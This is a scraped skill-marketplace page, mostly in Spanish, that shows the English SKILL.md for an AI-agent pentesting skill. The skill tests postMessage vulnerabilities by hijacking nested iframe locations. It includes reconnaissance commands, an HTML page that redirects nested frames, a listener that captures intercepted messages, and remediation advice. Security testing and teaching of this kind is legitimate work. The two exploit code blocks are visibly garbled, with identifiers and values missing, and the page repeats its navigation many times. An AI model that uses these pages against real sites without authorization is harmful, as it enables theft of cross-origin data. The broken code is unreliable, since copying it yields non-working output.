postmessage-iframe-exploit

Security testing skill for detecting and exploiting postMessage vulnerabilities through iframe location manipulation. Use this skill when testing web applications for postMessage security issues, when you need to check if nested iframes can be hijacked, when auditing cross-origin communication, or when investigating potential data exfiltration through postMessage. Trigger this skill for any pentesting task involving postMessage, iframe security, cross-origin communication vulnerabilities, or when the user mentions testing for message hijacking, iframe location manipulation, or wildcard postMessage receivers.

Ir a la instalación

Repositorio: abelrguezr/hacktricks-skills
Última actividad en el origen: 23 de marzo de 2026 a las 14:29
Idioma detectado de SKILL.md: inglés
Estrellas: 21
Forks: 8

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.

Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.

npx skills add https://github.com/abelrguezr/hacktricks-skills --skill postmessage-iframe-exploit

El comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.

¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

SKILL.md

Instrucciones de origen · Vista previa de solo lectura

Volver a la búsqueda Volver a la instalación

ai-fuzzing-assistant

AI-assisted fuzzing and vulnerability discovery. Use this skill whenever the user wants to generate fuzzing seeds, evolve grammars, analyze crashes, create proof-of-vulnerability exploits, or generate patches for discovered bugs. Trigger on mentions of fuzzing, AFL++, libFuzzer, vulnerability discovery, crash analysis, exploit generation, or security testing with LLMs.

2026-03-23

burp-mcp-integration

Set up and use Burp Suite's MCP Server extension to enable LLM-assisted passive vulnerability discovery. Use this skill whenever the user wants to integrate Burp with MCP-capable AI tools (Codex, Gemini, Ollama, Claude), configure the MCP proxy, troubleshoot handshake issues, or analyze intercepted HTTP traffic for security findings. Trigger on mentions of Burp MCP, Burp AI Agent, MCP proxy setup, or LLM-assisted traffic review.

2026-03-23

deep-learning-helper

Help users understand and implement deep learning concepts including neural networks, CNNs, RNNs, LLMs, and diffusion models. Use this skill whenever the user asks about deep learning architectures, wants to build neural networks in PyTorch, needs help with training loops, or wants to understand concepts like backpropagation, activation functions, attention mechanisms, or generative models. Make sure to use this skill for any deep learning related questions, code reviews, architecture design, or implementation help.

2026-03-23

Ver todos los de este repositorio

name

postmessage-iframe-exploit

description

PostMessage Iframe Location Exploit Testing

This skill helps security testers identify and validate postMessage vulnerabilities where an attacker can hijack iframe locations to intercept sensitive data.

Vulnerability Overview

This attack works when:

A parent page can be iframed (no X-Frame-Options or X-Frame-Options: SAMEORIGIN)
The parent page contains nested iframes
The page uses postMessage with wildcard (*) or overly permissive target origins
The attacker can manipulate frames[].location to redirect iframe content

When to Use This Skill

Use this skill when:

Testing web applications for postMessage security vulnerabilities
Auditing cross-origin communication patterns
Investigating potential data exfiltration vectors
Performing authorized penetration testing on web applications
Reviewing iframe implementations for security issues

Testing Methodology

Step 1: Reconnaissance

Identify potential targets:

# Check for X-Frame-Options header
curl -I https://target-site.com | grep -i x-frame-options

# Check for Content-Security-Policy frame-ancestors
curl -I https://target-site.com | grep -i content-security-policy

If no X-Frame-Options header exists, the page may be iframeable.

Step 2: Identify Nested Iframes

Look for pages that:

Embed third-party content (Google Docs, Sheets, external widgets)
Use iframes for cross-origin communication
Implement postMessage for data exchange

// In browser console on target page
document.querySelectorAll('iframe').forEach((frame, i) => {
  console.log(`Frame ${i}:`, frame.src);
});

Step 3: Detect Wildcard postMessage Usage

Search the page source for postMessage patterns:

# Look for wildcard receivers
grep -r 'postMessage.*\*' /path/to/page-source/

# Look for overly permissive target origins
grep -r 'postMessage.*"\*"' /path/to/page-source/

Step 4: Test Iframe Location Manipulation

Create a test page to attempt the exploit:

<!DOCTYPE html>
<html>
<head>
  <title>PostMessage Iframe Test</title>
</head>
<body>
  <h1>PostMessage Iframe Location Test</h1>
  <iframe id="target-frame" src="https://target-site.com/page-with-iframe"></iframe>
  
  <script>
    // Attempt to manipulate nested iframe locations
    function attemptIframeManipulation() {
      const frames = window.frames;
      
      // Try to access and modify nested frames
      for (let i = 0; i < frames.length; i++) {
        try {
          const frame = frames[i];
          console.log(`Testing frame ${i}:`, frame.location.href);
          
          // Attempt to modify location (will fail if cross-origin restrictions apply)
          // This is the core of the vulnerability
          if (frame.frames && frame.. > ) {
             ( j = ; j < frame..; j++) {
               {
                frame.[j]. = ;
                .();
              }  (e) {
                .(, e.);
              }
            }
          }
        }  (e) {
          .(, e.);
        }
      }
    }
    
    
    (attemptIframeManipulation, );
    (attemptIframeManipulation, );

Step 5: Capture PostMessage Data

If the location manipulation succeeds, set up a receiver:

<!DOCTYPE html>
<html>
<head>
  <title>PostMessage Capture</title>
</head>
<body>
  <h1>Captured Messages</h1>
  <div id="messages"></div>
  
  <script>
    // Listen for all postMessage events
    window.addEventListener('message', function(event) {
      const messageData = {
        origin: event.origin,
        source: event.source ? 'iframe' : 'window',
        data: event.data,
        timestamp: new Date().toISOString()
      };
      
      // Log to console
      console.log('Captured message:', messageData);
      
      // Display on page
      const div = document.createElement('div');
      div. = ;
      .().(div);
      
      
      
      
      
      
      
    });

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

// VULNERABLE - sends to any origin
window.parent.postMessage(data, '*');

// SECURE - specify exact origin
window.parent.postMessage(data, 'https://trusted-origin.com');

Pattern 2: Missing Origin Validation

// VULNERABLE - accepts messages from any origin
window.addEventListener('message', function(event) {
  // No origin check!
  processSensitiveData(event.data);
});

// SECURE - validate origin
window.addEventListener('message', function(event) {
  if (event.origin !== 'https://trusted-origin.com') {
    return; // Reject untrusted messages
  }
  processSensitiveData(event.data);
});

Pattern 3: Iframeable Pages with Nested Iframes

<!-- VULNERABLE if no X-Frame-Options header -->
<html>
  <body>
    <iframe src="https://third-party.com/widget"></iframe>
    <script>
      // Sends data to nested iframe
      window.frames[0].postMessage(sensitiveData, '*');
    </script>
  </body>
</html>

Remediation Recommendations

For Developers

Set X-Frame-Options header

X-Frame-Options: DENY
# or
X-Frame-Options: SAMEORIGIN

Use Content-Security-Policy

Content-Security-Policy: frame-ancestors 'self';

Specify exact postMessage origins

// Instead of '*'
window.parent.postMessage(data, 'https://specific-trusted-origin.com');

Validate message origins

window.addEventListener('message', function(event) {
  if (event.origin !== 'https://expected-origin.com') {
    return;
  }
  // Process message
});

Use frame-busting scripts

if (window.top !== window.self) {
  window.top.location = window.location;
}

Reporting Findings

When documenting this vulnerability:

Severity: High (potential for data exfiltration)
CVSS Factors:
- Attack Vector: Network
- Attack Complexity: Low (if conditions met)
- Privileges Required: None
- User Interaction: None (automated)
- Confidentiality: High impact
- Integrity: Medium impact
- Availability: Low impact
Proof of Concept: Include the test page that demonstrates the exploit
Impact: Describe what data could be exfiltrated
Remediation: Provide the recommendations above

Safety and Ethics

⚠️ IMPORTANT: Only use this skill for:

Authorized security testing on systems you own or have explicit permission to test
Educational purposes in controlled environments
Bug bounty programs where this vulnerability type is in scope

Do not use this technique on:

Systems without explicit authorization
Production systems without proper testing procedures
Third-party applications without permission

postmessage-iframe-exploit

Opciones de instalación

Revisa los archivos de origen

PostMessage Iframe Location Exploit Testing

Vulnerability Overview

When to Use This Skill

Testing Methodology

Step 1: Reconnaissance

Step 2: Identify Nested Iframes

Step 3: Detect Wildcard postMessage Usage

Step 4: Test Iframe Location Manipulation

Step 5: Capture PostMessage Data

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

Pattern 2: Missing Origin Validation

Pattern 3: Iframeable Pages with Nested Iframes

Remediation Recommendations

For Developers

Reporting Findings

Safety and Ethics

References

PostMessage Iframe Location Exploit Testing

Vulnerability Overview

When to Use This Skill

Testing Methodology

Step 1: Reconnaissance

Step 2: Identify Nested Iframes

Step 3: Detect Wildcard postMessage Usage

Step 4: Test Iframe Location Manipulation

Step 5: Capture PostMessage Data

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

Pattern 2: Missing Origin Validation

Pattern 3: Iframeable Pages with Nested Iframes

Remediation Recommendations

For Developers

Reporting Findings

Safety and Ethics

References

postmessage-iframe-exploit

Datos de origen

Opciones de instalación

Revisa los archivos de origen

Más de este repositorio

Más de este repositorio

PostMessage Iframe Location Exploit Testing

Vulnerability Overview

When to Use This Skill

Testing Methodology

Step 1: Reconnaissance

Step 2: Identify Nested Iframes

Step 3: Detect Wildcard postMessage Usage

Step 4: Test Iframe Location Manipulation

Step 5: Capture PostMessage Data

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

Pattern 2: Missing Origin Validation

Pattern 3: Iframeable Pages with Nested Iframes

Remediation Recommendations

For Developers

Reporting Findings

Safety and Ethics

References

PostMessage Iframe Location Exploit Testing

Vulnerability Overview

When to Use This Skill

Testing Methodology

Step 1: Reconnaissance

Step 2: Identify Nested Iframes

Step 3: Detect Wildcard postMessage Usage

Step 4: Test Iframe Location Manipulation

Step 5: Capture PostMessage Data

Common Vulnerable Patterns

Pattern 1: Wildcard Target Origin

Pattern 2: Missing Origin Validation

Pattern 3: Iframeable Pages with Nested Iframes

Remediation Recommendations

For Developers

Reporting Findings

Safety and Ethics

References